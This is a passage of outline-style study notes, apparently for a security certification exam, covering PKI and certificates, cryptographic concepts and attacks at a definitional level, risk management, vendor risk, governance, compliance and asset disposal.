- Malicious access to escrowed keys could lead to data decryption
- Requires stringent security measures and access controls

- **Digital Certificates**
  - *Digital Certificates*
    - Digitally signed electronic documents
    - Bind a public key with a user's identity
    - Used for individuals, servers, workstations, or devices
    - Use the *X.509 Standard*
      - Commonly used standard for digital certificates within PKI
      - Contains owner's/user's information and certificate authority details
  - Types of Digital Certificates
    - *Wildcard Certificate*
      - Allows multiple subdomains to use the same certificate
      - Easier management, cost-effective for subdomains
      - Compromise affects all subdomains
    - *SAN (Subject Alternate Name) field*
      - Certificate that specifies what additional domains and IP addresses are going to be supported
      - Used when domain names don’t have the same root domain
    - Single-Sided and Dual-Sided Certificates
      - *Single-sided*
        - Only requires the server to be validated
      - *Dual-sided*
        - Both server and user validate each other
        - Dual-sided for higher security, requires more processing power

- *Self-Signed Certificates*
  - Digital certificate that is signed by the same entity whose identity it it certifies
  - Provides encryption but lacks third-party trust
  - Used in testing or closed systems
- *Third-Party Certificates*
  - Digital certificate issued and signed by trusted certificate authorities (CAs)
  - Trusted by browsers and systems
  - Preferred for public-facing websites

- Key Concepts
  - *Root of Trust*
    - Highest level of trust in certificate validation
    - Trusted third-party providers like Verisign, Google, etc.
    - Forms a certification path for trust
  - *Certificate Authority (CA)*
    - Trusted third party that issues digital certificates
    - Certificates contain CA's information and digital signature
    - Validates and manages certificates
  - *Registration Authority (RA)*
    - Requests identifying information from the user and forwards certificate request up to the CA to create a digital certificate
    - Collects user information for certificates
    - Assists in the certificate issuance process
  - *Certificate Signing Request (CSR)*
    - A block of encoded text with information about the entity requesting the

certificate

- Includes the public key
- Submitted to CA for certificate issuance
- Private key remains secure with the requester

- *Certificate Revocation List (CRL)*
  - Maintained by CAs
  - List of all digital certificates that the certificate authority has already revoked
  - Checked before validating a certificate
- *Online Certificate Status Protocol (OCSP)*
  - Determines certificate revocation status or any digital certificate using the certificate's serial number
  - Faster but less secure than CRL
- *OCSP Stapling*
  - Alternative to OCSP
  - Allows the certificate holder to get the OCSP record from the server at regular intervals
  - Includes OCSP record in the SSL/TLS handshake
  - Speeds up the secure tunnel creation
- *Public Key Pinning*
  - Allows an HTTPS website to resist impersonation attacks from users who are trying to present fraudulent certificates
  - Presents trusted public keys to browsers
  - Alerts users if a fraudulent certificate is detected
- *Key Escrow Agents*
  - Securely store copies of private keys

- Ensures key recovery in case of loss
- Requires strong access controls

■ *Key Recovery Agents*

- Specialized type of software that allows the restoration of a lost or or corrupted key to be performed
- Acts as a backup for certificate authority keys

○ Trust in Digital Certificates

■ Trust is essential in digital certificates
■ Compromised root CAs can impact all issued certificates
■ Commercially trusted CAs are more secure
■ Self-managed CAs must be vigilant against compromises

- **Blockchain**

○ *Blockchain*

■ Shared immutable ledger for transactions and asset tracking
■ Builds trust and transparency
■ Widely associated with cryptocurrencies like Bitcoin
■ Is essentially a really long series of information with each block containing information in it

- Each block has the hash for the block before it

■ Block Structure

- Chain of blocks, each containing
  - Previous block's hash
  - Timestamp
  - Root transactions (hashes of individual transactions)
- Blocks are linked together in a chronological order

- *Public Ledger*
  - Secure and anonymous record-keeping system
  - Maintains participants' identities
  - Tracks cryptocurrency balances
  - Records all genuine transactions in a network
- Blockchain Applications
  - *Smart Contracts*
    - Self-executing contracts with code-defined terms
    - Execute actions automatically when conditions are met
    - Transparent, tamper-proof, and trust-enhancing
  - Commercial Uses
    - Companies like IBM promote blockchain for commercial purposes
    - Permissioned blockchain used for business transactions
    - Enhances trust and transparency with immutable public ledger
  - *Supply Chain Management*
    - Transparency and traceability in the supply chain
    - Immutable records of product origin, handling, and distribution
    - Ensures compliance and quality control
- Broad Implications of Blockchain
  - Versatility
    - Beyond finance and cryptocurrencies
    - Applications across various industries
    - Promises transparency, efficiency, and trust
  - Decentralization
    - Key feature of blockchain

        - Eliminates need for central authorities
        - Empowers peer-to-peer networks
    - Immutable Ledger
        - Ensures data integrity
        - Records cannot be altered or deleted
        - Reinforces trust in transactions and information
    - Digital Evolution
        - Blockchain's impact on technology and industries
        - Potential to reshape traditional systems
        - Offers transparency, efficiency, and trust in the digital era

- **Encryption Tools**
    - Encryption Tools for Data Security
        - *TPM (Trusted Platform Module)*
            - Dedicated microcontroller for hardware-level security
            - Protects digital secrets through integrated cryptographic keys
            - Used in BitLocker drive encryption for Windows devices
            - Adds an extra layer of security against software attacks
        - *HSM (Hardware Security Module)*
            - Physical device for safeguarding and managing digital keys
            - Ideal for mission-critical scenarios like financial transactions
            - Performs encryption operations in a tamper-proof environment
            - Ensures key security and regulatory compliance
        - *Key Management System*
            - Manages, stores, distributes, and retires cryptographic keys
            - Centralized mechanism for key lifecycle management

- Crucial for securing data and preventing unauthorized access
- Automates key management tasks in complex environments

■ *Secure Enclaves*

- Coprocessor integrated into the main processor of some devices
- Isolated from the main processor for secure data processing and storage
- Safeguards sensitive data like biometric information
- Enhances device security by preventing unauthorized access

- **Obfuscation**
  - Obfuscation Techniques in Data Security
    - *Steganography*
      - Conceals a message within another to hide its very existence
      - Involves altering image or data elements to embed hidden information
      - Primary goal is to prevent the suspicion that there's any hidden data at all
      - Used alongside encryption for added security
      - Detection is challenging due to hiding data in plain sight
    - *Tokenization*
      - Substitutes sensitive data with non-sensitive tokens
      - Original data securely stored elsewhere
      - Tokens have no intrinsic value
      - Reduces exposure of sensitive data during transactions
      - Commonly used for payment systems to comply with security standards
    - *Data Masking (Data Obfuscation)*
      - Disguises original data to protect sensitive information
      - Maintains data authenticity and usability
      - Used in testing environments, especially for software development

- Reduces the risk of data breaches in non-production settings
- Common in industries handling personal data
- Masks portions of sensitive data for privacy, e.g., credit card digits, social security numbers

- **Cryptographic Attacks**
  - *Cryptographic Attacks*
    - Techniques and strategies that adversaries employ to exploit vulnerabilities in cryptographic systems with the intent to compromise the confidentiality, integrity, or authenticity of data
  - *Downgrade Attacks*
    - Force systems to use weaker or older cryptographic standards or protocols
    - Exploit known vulnerabilities or weaknesses in outdated versions
    - Example: POODLE attack on SSL 3.0
    - Countermeasures include phasing out support for insecure protocols and version-intolerant checks
  - *Collision Attacks*
    - Find two different inputs producing the same hash output
    - Undermine data integrity verification relying on hash functions
    - Vulnerabilities in hashing algorithms, e.g., MD5, can lead to collisions
    - Birthday Paradox or Birthday Attack
      - The probability that two distinct inputs, when processed through a hashing function, will produce the same output, or a collision
  - *Quantum Computing Threat*
    - *Quantum computing*
      - A computer that uses quantum mechanics to generate and manipulate

quantum bits in order to access enormous processing powers.

- Uses quantum bits (qubits) instead of using ones and zeros

- *Quantum Communication*
  - A communications network that relies on qubits made of photons (light) to send multiple combinations of ones and zeros simultaneously which results in tamper resistant and extremely fast communications
- *Qubit*
  - A quantum bit composed of electrons or photons that can represent numerous combinations of ones and zeros at the same time through superposition
  - enable simultaneous processing of multiple combinations
- Quantum computing is designed for very specific use cases
  - complex math problems
  - trying to do something like the modeling of an atom or atomic structure
- Threat to traditional encryption algorithms (RSA, ECC) by rapid factorization of large prime numbers
- *Post-quantum cryptography*
  - A new kind of cryptographic algorithm that can be implemented using today's classic computers but is also impervious to attacks from future quantum computers
  - aims to create algorithms resistant to quantum attacks
  - First method to create post-quantum cryptography is to increase the key size
    - increases the number of permutations that are needed to be brute-forced
  - Second method is to create something like lattice-based cryptography

and super singular isogeny key exchange

- NIST selected four post-quantum cryptography standards
  - CRYSTALS-Kyber - general encryption needs
  - Digital signatures
    - CRYSTALS-Dilithium
    - FLACON
    - SPHINCS+

Risk Management

Objective 5.2: Explain elements of the risk management process

- **Risk Assessment Frequency**
  - *Risk Assessment Frequency*
    - Regularity with which risk assessments are conducted within an organization
  - Four main types of risk assessment frequencies
    - *Ad-Hoc Risk Assessments*
      - Conducted as needed, often in response to specific events or situations
      - Address potential new risks or changes in existing risks
    - *Recurring Risk Assessments*
      - Conducted at regular intervals (e.g., annually, quarterly, monthly)
      - Part of standard operating procedures for continual risk identification and management
    - *One-Time Risk Assessments*
      - Conducted for specific projects or initiatives
      - Not repeated, associated with a particular purpose
    - *Continuous Risk Assessments*
      - Ongoing monitoring and evaluation of risks
      - Enabled by technology, involving real-time data collection and analysis
      - Used for proactive threat and vulnerability monitoring, facilitating quick responses

- **Risk Identification**
    - *Risk Identification*
        - Crucial first step in risk management
        - Involves recognizing potential risks that could impact an organization
        - Risks can vary from financial and operational to strategic and reputational
        - Techniques
            - Brainstorming
            - Checklists
            - Interviews
            - Scenario Analysis
        - Organization should consider a wide range of risks, including operational, financial, strategic, and reputational risks
        - Document and analyze risks based on impact and likelihood
    - *Business Impact Analysis (BIA)*
        - Evaluates effects of disruptions on business functions
        - Identifies and prioritizes critical functions
        - Assesses impact of risks on functions
        - Determines required recovery time for functions
        - Key Metrics in BIA
            - *Recovery Time Objective (RTO)*
                - Maximum acceptable time before severe impact
                - Target time for restoring a business process
            - *Recovery Point Objective (RPO)*
                - Maximum acceptable data loss measured in time
                - Point in time data must be restored to

- *Mean Time to Repair (MTTR)*
    - Average time to repair a failed component or system
    - Indicator of repair speed and downtime minimization
- *Mean Time Between Failures (MTBF)*
    - Average time between system or component failures
    - Measure of reliability

- **Risk Register**
    - *Risk Management*
        - Crucial for projects and business, it involves the identification and assessment of uncertainties that may impact objectives
    - *Risk Register*
        - Records identified risks, descriptions, impacts, likelihoods, and mitigation actions
        - Key tool in risk management
        - May resemble a heat map risk matrix
        - Facilitates communication and risk tracking
        - Key component of project and business operations
    - Components of Risk Register
        - *Risk Description*
            - Identifies and describes the risk
            - Clear and concise description
        - *Risk Impact*
            - Potential consequences of risk occurrence
            - Rated on a scale (e.g., low, medium, high)
        - *Risk Likelihood*
            - Probability of risk occurrence

- Rated on a scale (e.g., numerical or descriptive)

- *Risk Outcome*
  - Result of the risk if it occurs
  - Related to impact and likelihood
- *Risk Level or Threshold*
  - Determined by combining the impact and likelihood
  - Prioritizes risks (e.g., high, medium, low)
- *Cost*
  - Financial impact on the project
  - includes potential expenses if it occurs or the cost of risk mitigation

- Risk Tolerance and Risk Appetite
  - *Risk Tolerance/Risk Acceptance*
    - An organization or individual's willingness to deal with uncertainty in pursuit of their goals
    - Maximum amount of risk they are willing to accept
    - Acceptance without countermeasures
  - *Risk Appetite*
    - Willingness to pursue or retain risk
    - Types
      - Expansionary
      - Conservative
      - Neutral
- *Key Risk Indicators (KRIs)*
  - Predictive metrics signaling increasing risk exposure
  - Provide early warning of potential risks
  - Tied to the organization's objectives

        - Used to monitor risk changes and take proactive steps
    - *Risk Owner*
        - Responsible for managing the risk
        - Monitors, implements mitigation actions, and updates Risk Register
        - Accountable for risk management

- **Qualitative Risk Analysis**
    - *Qualitative Risk Analysis*
        - Primary method in risk management
        - Assesses risks based on potential impact and likelihood
        - Categorizes risks as high, medium, or low
        - Subjective and relies on expertise and experience
        - Avoids quantitative complexity
    - Key Components
        - *Likelihood/Probability*
            - Chance of risk occurrence
            - Qualitatively expressed as low, medium, or high
            - Based on past experience, statistical analysis, or expert judgment
        - *Impact*
            - Potential consequences if risk occurs
            - Qualitatively rated as low, medium, or high
            - Assess damage to project or business objectives
            - Impact Levels
                - *Low Impact*
                    - Minor damage, essential functions operational

    - *Medium Impact*
        - Significant damage, loss to assets
    - *High Impact*
        - Major damage, essential functions impaired

- **Quantitative Risk Analysis**
    - *Quantitative Risk Analysis*
        - Provides objective and numerical evaluation of risks
        - Used for financial, safety, and scheduling decisions
        - Utilizes key components
            - Single Loss Expectancy (SLE)
            - Exposure Factor (EF)
            - Annualized Rate of Occurrence (ARO)
            - Annualized Loss Expectancy (ALE)
    - Key Components
        - *Exposure Factor (EF)*
            - Proportion of asset lost in an event (0% to 100%)
            - Indicates asset loss severity
        - *Single Loss Expectancy (SLE)*
            - Monetary value expected to be lost in a single event
            - Calculated as Asset Value x Exposure Factor (EF)
        - *Annualized Rate of Occurrence (ARO)*
            - Estimated frequency of threat occurrence within a year
            - Provides a yearly probability
        - *Annualized Loss Expectancy (ALE)*
            - Expected annual loss from a risk

- Calculated as SLE x ARO

- **Risk Management Strategies**
  - Four primary risk management strategies
    - *Risk Transference*
      - Shifts risk to another party
      - Common methods
        - Insurance
        - *Contract indemnity clauses*
          - A contractual agreement where one party agrees to cover the other's harm, liability, or loss stemming from the contract
      - Doesn't remove the risk
        - Shifts the responsibility for handling the risk's financial consequences
    - *Risk Acceptance*
      - Acknowledge and deal with risk if it occurs
      - Used when cost of managing the risk outweighs potential loss or risk is unlikely to have a significant impact
      - No actions to mitigate the risk are taken
      - Methods
        - Exemption (excludes party from a rule)
          - The organization doesn't have to obey a specific rule or requirement
          - There is no risk of not complying with the rule or requirement

- There may be a benefit or mitigation offered by the rule or requirement which exempted organizations won't receive because they are exempt
    - Exception (allows party to avoid rule under specific conditions)
- In both Exemption and Exception, the organization assumes risk either by operating without the safeguards or mitigations offered by a rule (exemption), or by operating in a way that lets them evade the risk (exception).

- *Risk Avoidance*
    - Change plans or strategies to eliminate a specific risk
    - Chosen when the risk is too great to accept or transfer
- *Risk Mitigation*
    - Take steps to reduce likelihood or impact of risk
    - Common strategy involving various actions

- **Risk Monitoring and Reporting**
    - *Risk Monitoring*
        - Process of
            - Tracking identified risks
            - Monitoring residual risks
            - Identifying new risks
            - Evaluating risk response plans
        - Involves ongoing tracking of risks and their response actions
        - Helps determine Residual Risk and Control Risk
            - *Residual Risk*
                - The likelihood and impact of the risk after mitigation,

transference, or acceptance measures have been taken on the initial risk

- *Control Risk*
  - Assessment of how a security measure has lost effectiveness over time

- *Risk Reporting*
  - Communicating information about risk management activities to stakeholders
  - Includes results of risk identification, assessment, response, and monitoring
  - Often presented in the form of a risk report
- Risk Monitoring and Reporting are essential for
  - Informed decision making
    - Offer insights for informed decisions on resource allocation, project timelines, and strategic planning
  - Risk mitigation
    - Recognize when a risk is escalating so it can be mitigated before becoming an issue
  - Stakeholder communication
    - Assist in setting expectations and showing effective risk management
  - Regulatory compliance
    - Demonstrate compliance with these regulations

Third-party Vendor Risks

Objectives:

- 2.2 - Explain common threat vectors and attack surfaces
- 2.3 - Explain various types of vulnerabilities
- 5.3 - Explain the processes associated with third-party risk assessment and management

- **Supply Chain Risks**
    - Hardware Manufacturers
        - Products like routers and switches are composed of many components from various suppliers
        - Component tampering or untrustworthy vendors can introduce vulnerabilities
        - Rigorous supply chain assessments needed to trace origins and component integrity
        - Trusted foundry programs ensure secure manufacturing
    - Secondary/Aftermarket Sources
        - Risk of acquiring counterfeit or tampered devices
        - Devices may contain malware or vulnerabilities
        - Budget-friendly but high-risk option
    - Software Developers/Providers
        - Software developers and software providers are integral cogs in the supply chain
            - However, software can introduce vulnerabilities
        - Check for proper licensing, authenticity, known vulnerabilities, and malware
        - Open-source software allows source code review
        - Proprietary software can be scanned for vulnerabilities

- Service Providers/MSPs
  - *Managed Service Providers*
    - Organizations that provide a range of technology services and support to businesses and other clients
  - Security challenges with Software-as-a-Service (SaaS) providers
    - Data confidentiality and integrity concerns
    - Assess provider's cybersecurity protocols and support for security incidents
    - Vendor selection should consider due diligence, historical performance, and commitment to security
  - Considerations
    - Evaluate data security measures
    - Ensure confidentiality and integrity
    - Assess cybersecurity protocols
    - Response to a security breach

- **Supply Chain Attacks**
  - *Supply Chain Attacks*
    - An attack that targets a weaker link in the supply chain to gain access to a primary target
    - Exploit vulnerabilities in suppliers or service providers to access more secure systems
  - *CHIPS Act of 2022*
    - U.S. federal statute providing funding to boost semiconductor research and manufacturing in the U.S.
    - Aims to reduce reliance on foreign-made semiconductors, strengthen the

domestic supply chain, and enhance security

- *Semiconductors*
  - Essential components in a wide range of products, from smartphones and cars to medical devices and defense systems

- Safeguarding Against Supply Chain Attacks
  - Vendor Due Diligence
    - Rigorous evaluation of vendor cybersecurity and supply chain practices
  - Regular Monitoring & Audits
    - Continuous monitoring and periodic audits of supply chains to detect suspicious activities
  - Education and Collaboration
    - Sharing threat information and best practices within the industry
    - Collaborating with organizations and industry groups for joint defense
  - Incorporating Contractual Safeguards
    - Embedding cybersecurity clauses in contracts with suppliers or service providers
    - Ensuring adherence to security standards with legal repercussions for non-compliance

- **Vendor Assessment**
  - *Vendor Assessments*
    - Process to evaluate the security, reliability, and performance of external entities
    - Crucial due to interconnectivity and potential impact on multiple businesses
  - Entities in Vendor Assessment
    - *Vendors*
      - Provide goods or services to organizations

- *Suppliers*
  - Involved in production and delivery of products or parts
- *Managed Service Providers (MSPs)*
  - Manage IT services on behalf of organizations

- Penetration Testing of Suppliers
  - *Penetration Testing*
    - Simulated cyberattacks to identify vulnerabilities in supplier systems
  - Validates supplier's cybersecurity practices and potential risks to your organization
- *Right-to-Audit Clause*
  - Contract provision allowing organizations to evaluate vendor's internal processes for compliance
  - Ensures transparency and adherence to standards
- *Internal Audits*
  - Vendor's self-assessment of practices against industry or organizational requirements
  - Demonstrates commitment to security and quality
- *Independent Assessments*
  - Evaluations conducted by third-party entities without a stake in the organization or vendor
  - Provides a neutral perspective on adherence to security or performance standards
- *Supply Chain Analysis*
  - Assessment of an entire vendor supply chain for security and reliability
  - Ensures integrity of the vendor's entire supply chain, including sources of parts or products

- **Vendor Selection and Monitoring**
  - Vendor Selection Process
    - Similar to hiring a team member
    - Due diligence
      - A rigorous evaluation that goes beyond surface-level credentials
      - Includes the following
        - Evaluating financial stability
        - Operational history
        - Client testimonials
        - On-the-ground practices to ensure cultural alignment
    - Check for conflicts of interest that could bias the selection process
  - *Vendor Questionnaires*
    - Comprehensive documents filled out by potential vendors
    - Vendor questionnaires provide insights into operations, capabilities, and compliance
    - Standardized criteria for fair and informed decision-making
  - *Rules of Engagement*
    - Guidelines for interaction between organization and vendors
    - Cover communication protocols, data sharing, and negotiation boundaries
    - Ensure productive and compliant interactions
  - *Vendor Monitoring*
    - Mechanism used to ensure that the chosen vendor still aligns with organizational needs and standards
    - Performance reviews assess deliverables against agreed-upon standards and objectives

        - *Feedback loops*
            - Involve a two-way communication channel where both the organization and the vendor share feedback

- **Contracts and Agreements**
    - Types of Contracts and Agreements
        - *Basic Contract*
            - Versatile tool that formally establishes a relationship between two parties
            - Defines roles, responsibilities, and consequences for non-compliance
            - Specifies terms like payment structure, delivery timelines, and product specifications
        - *Service Level Agreement (SLA)*
            - Defines the standard of service a client can expect from a provider
            - Includes performance benchmarks and penalties for deviations
        - Memorandum of Agreement (MOA) and Memorandum of Understanding (MOU)
            - *MOA*
                - Formal, outlines specific responsibilities and roles
            - *MOU*
                - Less binding, expresses mutual intent without detailed specifics
        - *Master Service Agreement (MSA)*
            - Covers general terms of engagement across multiple transactions
            - Used for recurring client relationships, supplemented by Statements of Work
        - *Statement of Work (SOW)*
            - Specifies project details, deliverables, timelines, and milestones
            - Provides in-depth project-related information

- *Non-Disclosure Agreement (NDA)*
  - Ensures confidentiality of sensitive information shared during negotiations
  - Commitment to privacy, protecting proprietary data
- *Business Partnership Agreement (BPA) or Joint Venture Agreement (JV)*
  - Goes beyond basic contracts when two entities collaborate
  - Outlines partnership nature, profit-sharing, decision-making, and exit strategies
  - Defines ownership of intellectual property and revenue distribution

Governance and Compliance

Objectives:

- 5.1 - Summarize elements of effective security governance
- 5.4 - Summarize elements of effective security compliance

- **Governance**
  - *Governance*
    - Part of the GRC triad (Governance, Risk, and Compliance)
    - Strategic leadership, structures, and processes ensuring IT aligns with business objectives
    - Involves risk management, resource allocation, and performance measurement
  - Purpose of Governance
    - Establishes a strategic framework aligning with objectives and regulations
    - Defines rules, responsibilities, and practices for achieving goals and managing IT resources
  - Influence on IT Components
    - Shapes guidelines for recommended approaches in handling situations
    - Drives policy development, outlining organizational commitments (e.g., data protection)
    - Impacts standards, defining mandatory rules for policy adherence
    - Ensures procedures align with objectives, providing task-specific guidance
  - Adaptation and Revision
    - Governance must adapt to technological advancements, regulatory changes, and industry culture shifts

        - Monitoring evaluates governance effectiveness and identifies gaps
        - Revision updates governance framework

- **Governance Structures**
    - *Organizational Governance*
        - Complex, multifaceted concept essential for successful organization operation
        - Comprises various components, each with unique functions
    - Governance Structures
        - *Boards*
            - Elected by shareholders to oversee organization management
            - Responsible for setting strategic direction, policies, and major decisions
        - *Committees*
            - Subgroups of boards with specific focuses
            - Allows detailed attention to complex areas
        - Government Entities
            - Play roles in governance, especially for public and regulated organizations
            - Establish laws and regulations for compliance
        - Centralized and Decentralized Structures
            - *Centralized*
                - Decision-making authority at top management levels
                - Ensures consistent decisions and clear authority
                - Slower response to local/departmental needs
            - *Decentralized*
                - Decision-making authority distributed throughout the organization
                - Enables quicker decisions and local responsiveness

- Potential for inconsistencies

- **Policies**
  - *Acceptable Use Policy (AUP)*
    - Document that outlines the do's and don'ts for users when interacting with an organization's IT systems and resources
    - Defines appropriate and prohibited use of IT systems/resources
    - Aims to protect organizations from legal issues and security threats
  - *Information Security Policies*
    - Cornerstone of an organization's security
    - Outlines how an organization protects its information assets from threats, both internal and external
    - These policies cover a range of areas
      - Data Classification
      - Access Control
      - Encryption
      - Physical Security
    - Ensures confidentiality, integrity, and availability of data
  - *Business Continuity Policy*
    - Ensures operations continue during and after disruptions
    - Focuses on critical operation continuation and quick recovery
    - Includes strategies for power outages, hardware failures, and disasters
  - *Disaster Recovery Policy*
    - Focuses on IT systems and data recovery after disasters
    - Outlines data backup, restoration, hardware/software recovery, and alternative locations

- *Incident Response Policy*
  - Addresses detection, reporting, assessment, response, and learning from security incidents
  - Specifies incident notification, containment, investigation, and prevention steps
  - Minimizes damage and downtime during incidents
- *Software Development Lifecycle (SDLC) Policy*
  - Guides software development stages from requirements to maintenance
  - Includes secure coding practices, code reviews, and testing standards
  - Ensures high-quality, secure software meeting user needs
- *Change Management Policy*
  - Governs handling of IT system/process changes
  - Ensures controlled, coordinated change implementation to minimize disruptions
  - Covers change request, approval, implementation, and review processes

- **Standards**
  - *Standards*
    - Provides a framework for implementing security measures, ensuring that all aspects of an organization's security posture are addressed
  - Password Standards
    - Define password complexity and management
    - Include length, character types, regular changes, and password reuse rules
    - Emphasize password hashing and salting for security
  - Access Control Standards
    - Determine who has access to resources within an organization
    - Include access control models like
      - DAC - Discretionary Access Control

        - MAC - Mandatory Access Control
        - RBAC - Role Based Access Control
    - Enforce principles of least privilege and separation of duties
- Physical Security Standards
    - Cover physical measures to protect assets and information
    - Include controls like perimeter security, surveillance systems, and access control mechanisms
    - Address environmental controls and secure areas for sensitive information
- Encryption Standards
    - Ensure data remains secure and unreadable even if accessed without authorization
    - Include encryption algorithms like AES, RSA, and SHA-2
    - Depends on the use case and balance between security and performance

- **Procedures**
    - *Procedures*
        - Systematic sequences of actions or steps taken to achieve a specific outcome in an organization
        - Ensures consistency, efficiency, and compliance with standards
    - *Change Management*
        - Systematic approach to handling organizational changes
        - It aims to implement changes smoothly and successfully with minimal disruption
        - Key Stages
            - Identifying the need for change
            - Assessing impacts
            - Developing a plan

        - Implementation
        - Post-change review
    - Onboarding and Offboarding Procedures
        - Onboarding integrates new employees into the organization
            - ensures productivity and engagement
            - Includes orientation, training, and integration activities
        - Offboarding manages the transition when an employee leaves
            - Tasks include property retrieval, access disabling, and exit interviews
    - *Playbooks*
        - Detailed guides for specific tasks or processes
        - They provide step-by-step instructions for consistent and efficient execution
        - Used in various situations, from cybersecurity incidents to customer complaints
        - Include resource requirements, steps to be taken, and expected outcomes

- **Governance Considerations**
    - Regulatory Considerations
        - Organizations must comply with various regulations, depending on industry and location
        - Regulations cover areas such as
            - Data Protection
            - Privacy
            - Environmental Standards
            - Labor Laws
        - Non-compliance leads to penalties, sanctions, and reputational damage
    - Legal Considerations
        - Complement regulatory considerations, encompassing contract, intellectual

property, and corporate law
    - Employment laws address minimum wage, overtime, safety, discrimination, and benefits
    - Litigation risks include breach of contract, product liability, and employment disputes
    - Robust legal strategies and resources are needed to manage legal risks
- Industry Considerations
    - Refer to industry-specific standards, practices, and ethical guidelines
    - Not legally binding but influence customer, partner, and regulator expectations
    - Non-adoption may lead to competitive disadvantages and stakeholder criticism
- Geographical Considerations
    - Geographical regulations impact organizations at local, regional, national, and global levels
    - Local considerations include city ordinances, zoning laws, and operational restrictions
    - Regional considerations, like CCPA in California, impose state-level regulations
    - National considerations, e.g., ADA in the US, affect businesses across the entire country
    - Global considerations, like GDPR, apply extraterritorially to organizations dealing with EU citizens' data
    - Conflict of laws between jurisdictions is a significant challenge
    - Navigating these differences requires deep legal knowledge and flexibility in governance

- **Compliance**
    - *Compliance*
        - Ensures adherence to laws, regulations, guidelines, and specifications
        - Includes compliance reporting and compliance monitoring
    - *Compliance Reporting*
        - Systematic process of collecting and presenting data to demonstrate adherence to compliance requirements
        - Two Types of Compliance Reporting
            - *Internal Compliance Reporting*
                - Ensures adherence to internal policies and procedures
                - Conducted by an internal audit team or compliance department
            - *External Compliance Reporting*
                - Demonstrates compliance to external entities
                - Mandatory, often by law or contract
    - *Compliance Monitoring*
        - Regularly reviews and analyzes operations for compliance
        - Includes due diligence and due care, attestation and acknowledgement, and internal and external monitoring
    - Due Diligence and Due Care
        - *Due Diligence*
            - Identifying compliance risks through thorough review
        - *Due Care*
            - Mitigating identified risks
    - Attestation and Acknowledgement
        - *Attestation*
            - Formal declaration by a responsible party that the organization's

processes and controls are compliant

- *Acknowledgement*
  - Recognition and acceptance of compliance requirements by all relevant parties

- Internal and External Monitoring
  - *Internal Monitoring*
    - Regularly reviewing an organization's operations to ensure compliance with internal policies
  - *External Monitoring*
    - Third-party reviews for compliance with external regulations or standards
- Role of Automation in Compliance
  - Streamlines data collection, improves accuracy, and provides real-time monitoring

- **Non-compliance Consequences**
  - Compliance in IT is essential to avoid severe consequences
  - Consequences of non-compliance include
    - *Fines*
      - Monetary penalties imposed by regulatory bodies
    - *Sanctions*
      - Strict measures by regulatory bodies to enforce compliance
      - Range from restrictions to bans
    - *Reputational Damage*
      - Negative impact on a company's reputation
      - Significant and long-lasting in the age of social media

- *Loss of License*
  - Loss of the right to operate, relevant in regulated industries
- *Contractual Impacts*
  - Breach of contracts due to non-compliance with laws and regulations
  - Can lead to legal disputes, financial penalties, or contract termination

- To avoid these consequences, companies should prioritize compliance by
  - Understanding and adhering to relevant laws and regulations
  - Implementing robust cybersecurity measures
  - Regularly reviewing and updating compliance programs

Asset and Change Management

Objectives:

- 1.3 - Explain the importance of change management processes and the impact to security
- 4.1 - Given a scenario, you must be able to apply common security techniques to computing resources
- 4.2 - Explain the security implications of proper hardware, software, and data asset management

- **Acquisition and Procurement**
    - *Acquisition*
        - Process of obtaining goods and services
    - *Procurement*
        - Entire process of sourcing and obtaining those goods and services, including all the processes that lead up to the acquisition
    - Conducting the acquisition and procurement process
        - Understand the different types of purchase options
            - *Company Credit Card*
                - Quick purchase of low-cost items
                - Transaction limits and item restrictions
            - *Individual Purchase*
                - Employee purchases, seeks reimbursement
                - Used in emergencies or when no company credit card is available
            - *Purchase Order*
                - Formal document issued by the purchasing department

        - For larger, more expensive purchases
        - Dictates payment terms (NET 15, NET 30, NET 60)
    - Internal Approval Process
        - Ensures purchase alignment with company goals
        - Validates budget allocation
        - Assesses security and compatibility with existing infrastructure
    - Post-Approval Procurement
        - Product compatibility assessment
        - Security checks and configurations
        - User training
        - Integration into the existing workflow

- **Mobile Asset Deployments**
    - Three Main Mobile Device Deployment Models
        - *BYOD (Bring Your Own Device)*
            - Employees use personal devices for work
            - Cost-effective for employers
            - Drawbacks include reduced control over security and device management
        - *COPE (Corporate-Owned, Personally Enabled)*
            - The company provides devices for employees
            - Greater control over security and standards
            - Higher initial investment
            - Employees may have privacy concerns or need to carry two devices
        - *CYOD (Choose Your Own Device)*
            - Employees select devices from a company-approved list
            - Balance between employee choice and organizational control

- Similar drawbacks to COPE in terms of initial cost and potential privacy concerns

- Selecting the Right Model
  - Consider the specific needs, budget constraints, and risk appetite of your organization
  - Analyze costs, security, and employee satisfaction
    - BYOD may have hidden costs for security and compatibility
    - COPE offers more control over devices and supports MDM
    - CYOD provides a balance between flexibility and control

- **Asset Management**
  - *Asset Management*
    - Systematic approach to governing and maximizing the value of items an entity is responsible for throughout the asset's life cycle
      - Tangible Assets
        - Office buildings
        - Computers
        - Machinery
      - Intangible Assets
        - Intellectual property
        - Organization's reputation
        - Goodwill
  - Assignment and Accounting of Assets
    - Each asset assigned to a person or group, known as owners
    - Process referred to as the allocation or assignment of ownership
    - Avoids ambiguity, aids troubleshooting, upgrades, and replacements

- Classification and Categorization
  - Assets should be classified and categorized
  - Classification based on criteria such as function and value
  - Informs maintenance, replacement, or retirement decisions
  - High-value assets may require stringent maintenance schedules
  - Low-value assets may be considered for recycling or disposal
- Monitoring and Tracking of Assets
  - Ensures proper accounting and optimal use of assets
    - *Asset Monitoring*
      - Maintaining an inventory with specifications, location, and assigned users
    - *Asset Tracking*
      - Goes beyond monitoring, involving the location, status, and condition of assets using specialized software and tracking technologies
    - *Enumeration*
      - Identifies and counts assets, especially in large organizations or during times of asset procurement or retirement
      - Aids in maintaining an accurate inventory
  - Proactive approach for risk management and resource optimization
- *Mobile Device Management (MDM)*
  - Manages and tracks mobile devices
    - Smartphones
    - Tablets
    - Laptops
    - Wearables

        - Centralizes management, enforces corporate policies, ensures software uniformity, safeguards sensitive data
        - Enables remote lock and wipe of lost devices, remote software updates, and consistent user experiences
        - Reduces risks associated with unsecured or outdated devices

- **Asset Disposal and Decommissioning**
    - *Asset Disposal and Decommissioning*
        - Necessity to manage the disposal of outdated assets
    - *NIST Special Publication 800-88 (Guidelines for Media Sanitization)*
        - Provides guidance on asset disposal and decommissioning
    - *Sanitization*
        - Thorough process to make data inaccessible and irretrievable from storage medium using traditional forensic methods
        - Applies to various storage media
        - Methods include
            - *Overwriting*
                - Replacing the existing data on a storage device with random bits of information to ensure that the original data is obscured
                - Repeated several times to reduce any chance of the original data being recovered
                - Overwriting can use a single pass, 7 passes, or 35 passes
            - *Degaussing*
